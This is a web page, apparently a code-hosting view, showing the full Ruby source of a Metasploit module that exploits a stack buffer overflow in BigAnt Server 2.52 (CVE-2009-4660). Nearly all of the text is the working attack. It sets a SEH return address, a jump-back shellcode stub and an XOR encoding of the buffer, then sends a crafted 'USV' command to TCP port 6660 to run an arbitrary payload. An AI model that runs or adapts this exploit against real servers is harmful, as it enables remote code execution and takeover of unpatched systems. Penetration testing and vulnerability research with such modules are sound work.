Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bigant_server_usv.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',14'Description' => %q{15This exploits a stack buffer overflow in the BigAnt Messaging Service,16part of the BigAnt Server product suite. This module was tested17successfully against version 2.52.1819NOTE: The AntServer service does not restart, you only get one shot.20},21'Author' =>22[23'Lincoln',24'DouBle_Zer0',25'jduck'26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2009-4660' ],31[ 'OSVDB', '61386' ],32[ 'EDB', '10765' ],33[ 'EDB', '10973' ]34],35'Privileged' => true,36'DefaultOptions' =>37{38'EXITFUNC' => 'seh',39},40'Payload' =>41{42'Space' => (218+709+35),43'BadChars' => "\x2a\x20\x27\x0a\x0f",44# pre-xor with 0x2a:45#'BadChars' => "\x00\x0a\x0d\x20\x25",46'StackAdjustment' => -3500,47},48'Platform' => 'win',49'Targets' =>50[51[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp352],53'DefaultTarget' => 0,54'DisclosureDate' => '2009-12-29'))5556register_options([Opt::RPORT(6660)])57end5859def exploit60connect6162sploit = ""63sploit << payload.encoded64sploit << generate_seh_record(target.ret)65sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string66sploit << rand_text_alphanumeric(3)67sploit << [0xdeadbeef].pack('V') * 36869# the buffer gets xor'd with 0x2a !70sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")7172print_status("Trying target #{target.name}...")73sock.put("USV " + sploit + "\r\n\r\n")7475handler76disconnect77end78end798081